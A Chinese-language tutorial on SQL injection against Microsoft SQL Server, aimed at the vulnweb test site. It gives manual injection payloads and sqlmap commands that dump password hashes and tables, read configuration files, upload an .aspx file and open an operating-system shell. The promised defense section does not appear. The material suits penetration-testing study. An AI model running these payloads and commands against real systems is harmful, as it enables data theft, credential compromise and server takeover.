5.2 使用sqlmap进行MSSQL注入及防御

本文涉及的产品
云数据库 RDS SQL Server,基础系列 2核4GB
RDS PostgreSQL Serverless,0.5-4RCU 50GB 3个月
推荐场景:
对影评进行热评分析
云原生数据库 PolarDB 分布式版,标准版 2核8GB
简介: 5.2 使用sqlmap进行MSSQL注入及防御

5.2 使用sqlmap进行MSSQL注入及防御

5.2.1 MSSQL数据注入简介

SQL注入攻击是通过带入恶意查询语句对后台数据库进行各种违规操作的行为,称为SQL注入攻击,一直位于OWASP榜首,常见的架构是ASP+IIS+MSSQL或者ASP.NET+IIS+MSSQL,当然也有JSP和PHP等相关框架使用MSSQL数据库的情景

5.2.2 MSSQL数据库注入判断

在使用sqlmap进行MSSQL注入时,需要手工进行注入点判断和测试,也可以使用一些工具进行判断测试

  1. 数据库类型判断

(1) 单引号判断

如果在目标站点上加入单引号,通过页面报错,判断数据库的类型,如果是返回显示有包含SQL Server,那么可以确认数据库类型是MSSQL

(2) 不显示数据库类型

在某些情况下可能会显示"500 - Internal server error" 错误信息,这种情况下有可能是存在SQL注入

(3) 获取网站的真实路径

有时候某些站点加入单引号会有显示出错的信息,却不一定存在SQL注入漏洞,但是能够暴露出真实的路径也给外面提供的更有效的攻击信息

(4) 通过查询sysobjects 值来判断

通过查询sysobjects值来判断,可以参考一下两个查询,具体如下:

  • and exists(select * from sysobjects)--

  • and exists(select count(*) from sysobjects)--

http://testasp.vulnweb.com/showforum.asp?id=0%20and%20exists(select%20*%20from%20sysobjects)--

http://testasp.vulnweb.com/showforum.asp?id=0%20and%20exists(select%20count(*)%20from%20sysobjects)--

以上显示是正常的,表示为SQL Server

  1. 判断注入点

通过使用and 1=1 和 and 1=2 然后根据页面显示的访问结果来判断是否存在注入,具体看如下访问地址:

http://testasp.vulnweb.com/showforum.asp?id=0%20and%201=1 访问结果正常

http://testasp.vulnweb.com/showforum.asp?id=0%20and%201=2 访问结果异常,显示500内部错误

有一种情况下,上面两个URL的访问方式显示都正常,但是结果值不一样,也是有可能存在SQL注入

  1. 判断数据库的版本号

(1) 有回显模式and @@version>0

当注入点将查询语句带入数据库进行查询,得到结果后又与0进行了大小的比较,由于无法将字符与数字进行比较和转换,浏览器就直接将查询的结果以错误的形式返回给浏览器,因此就暴露出了它的版本号信息

(2) 无回显模式 and substring((select @@version), 22, 4)='2014'--

其中,后门的2008就是数据库的版本号,如果返回正常那么就是对应的数据库版本号了,有2000,2005,2008,2012,2014,2016等等

http://testasp.vulnweb.com/showforum.asp?id=0%20and%20substring((select%20@@version),%2022,%204)=%272014%27--

显示正常,可以判断AVWS的测试站点是SQL Server 2014

(3) 回显模式,查询版本信息 and 1=(select @@version)

  1. 查看当前连接数据库的用户名

(1) 检测是否为sa权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

(2) 检测是否为db权限

and 1=(select IS_MEMBER('db_owner'))

  1. 查看当前连接数据库

and db_name()>0

and 1=(select db_name())--

  1. 查看其他数据库

命令如下:

and 1=(select quotename(count(name)) from master..sysdatabases)--

and 1=(select cast(count(name as varchar)%2bchar(1) from master..sysdatabases)) --

and 1=(select str(count and 1=(select quotename (count(name)) from master..sysdatabases where dbid>5)--

and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --

and 1=(select cast (count (name) as varchar)2bchar (1) from master.. sysdatabases where dbid>5) --

and (select name from master dbo. sysdatabases where and dbid=6) > 1

Tips:dbid从1-4的数据库一般都是系统数据库

5.2.3 使用sqlmap进行MSSQL数据库SQL注入流程

  1. sqlmap MSSQL注入流程

(1) 读取当前数据库版本,当前用户,当前数据库

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -b --current-user --current-db

小技巧:

-o 优化参数执行

--batch 自动提交最佳参数,简写就是上面的-b

--smart 启发式智能判断,快速判断是否存在SQL注入

(2) 判断当前数据库用户特权,当前用户权限,角色和数据库架构

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --privileges --is-dba

如果知道数据库的用户名和密码,可以直接连接数据库进行测试,具体如下:

sqlmap.py -d mssql://sa:sa@127.0.0.1:1433/master --privileges --is-dba --roles --schema

(3) 读取所有数据库用户或制定数据库用户的密码需要sa权限

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --users --passwords

(4) 获取所有数据库名称及统计某数据库中数据计数

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dbs

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --count

(5) 获取指定数据库中的所有表

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --tables -D test

(6) 获取指定数据库名中指定的字段

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --columns -D test -T admin

(7) 获取指定数据库名中指定表中指定字段的数据

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dump -D test -T admin -C "username,password" -s "sqlnmapdb.log"

(8) file-read 读取Web文件

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --file-read "D:/www/web.config"

(9) file-write写入文件到Web

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --file-write '/root/bmfx.aspx' --file-dest 'D:/www/bmfxtest.aspx'

(10) 导出全部数据

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -Dtest --dump-all

(11) SQL shell或者SQL查询

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --sql-shell

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --sql-query='查询的语句'

(12) os-shell

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --os-shell

  1. sqlmap直连MSSQL

(1) 需要安装pymssql ,通过使用pip install pymssql安装

(2) 直接连接mssql命令

sqlmap.py -d mssql://sa:sa@127.0.0.1:1433/master

5.2.4 漏洞手工测试或扫描

  1. 选中目标站点

此实例就是AVWS的官方测试站点进行测试http://testasp.vulnweb.com/showforum.asp?id=0

  1. 扫描或手工测试漏洞

添加单引号进行测试

此实例就是AVWS的官方测试站点进行测试http://testasp.vulnweb.com/showforum.asp?id=0'

5.2.5 使用sqlmap进行SQL注入实际测试

  1. 测试是否存在注入点

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0

Tips:测试的时候可以加上如下参数

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -b -o

-o 优化参数执行

--batch 自动提交最佳参数,简写就是上面的-b

  1. 获取当前数据库名称

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --current-db

获取到当前数据库名称是acuforum

  1. 获取当前数据库的多项信息

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -b --privilegs --is-dba --roles --schema

命令执行后会获取当前数据库权限是否是DBA,角色,及schema值

  1. 获取数据库表

命令如下:

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --tables

  1. 获取数据表列

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --columns -D acuforum -T users

  1. 获取数据库中表数据量大小

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --count

Tips:获取数据库中表数据量大小主要用来了解数据库的数据情况,上报漏洞的时候用来描述其危害性,在实际测试过程中除非必要,否则不要去执行获取真实数据(500条个人隐私数据是一个法律标准)

  1. 导出数据库

(1) 导出全部数据库

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 -D acuforum --dump-all

(2) 导出指定表

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dump -D acuforum -T user -C "uname,upass"

sqlmap.py -u http://testasp.vulnweb.com/showforum.asp?id=0 --dump -D acuforum -T user -C "uname,upass" -s "acuforum.log" //保存结果为acuforum.log

  1. 查看sqlmap注入结果的日志文件

一般测试完成之后,sqlmap会提示在哪个位置,一般模式的位置就在C:\Users\bmfx.sqlmap\output\testasp.vulnweb.com 下面

相关文章
|
4月前
|
SQL 安全 关系型数据库
使用SQLMap进行SQL注入测试
使用SQLMap进行SQL注入测试
|
4月前
|
SQL 安全 Oracle
SQLMap工具详解与SQL注入防范
SQLMap工具详解与SQL注入防范
|
6月前
|
SQL 安全
CTF--Web安全--SQL注入之‘绕过方法’
CTF--Web安全--SQL注入之‘绕过方法’
|
6月前
|
SQL 安全 网络安全
|
SQL 安全 JavaScript
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
221 0
|
SQL 安全 Oracle
sqlmap基本使用详解与sql注入防御之网络安全
作者主页:https://www.couragesteak.com/
sqlmap基本使用详解与sql注入防御之网络安全
|
SQL 关系型数据库 PHP
使用SQLMAP对网站和数据库进行SQL注入攻击
from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介绍 1. 什么是SQL注入? SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。
4702 0
|
SQL 数据库
SQL注入攻击(SQL注入(SQLi)攻击)-报错注入
页面没有显示位 , 但有数据库的报错信息时 , 可使用报错注入 报错注入是最常用的注入方式 , 也是使用起来最方便(我觉得)的一种注入方式
157 0
SQL注入攻击(SQL注入(SQLi)攻击)-报错注入
|
SQL 安全 PHP
SQL注入(SQL注入(SQLi)攻击)攻击-注入点
SQL注入被称为漏洞之王 , 是最常用的漏洞之一 , 其中PHP在这方面的贡献最大
124 0
SQL注入(SQL注入(SQLi)攻击)攻击-注入点
|
存储 SQL 关系型数据库
SQL注入(SQL注入(SQLi)攻击)攻击-脱库
确认网站存在SQL注入时,可以对其进行脱库,即获取数据库表中的内容,比如用户的敏感信息 注意 : MySQL5.0以后 才有information_schema这个默认数据库
199 0
SQL注入(SQL注入(SQLi)攻击)攻击-脱库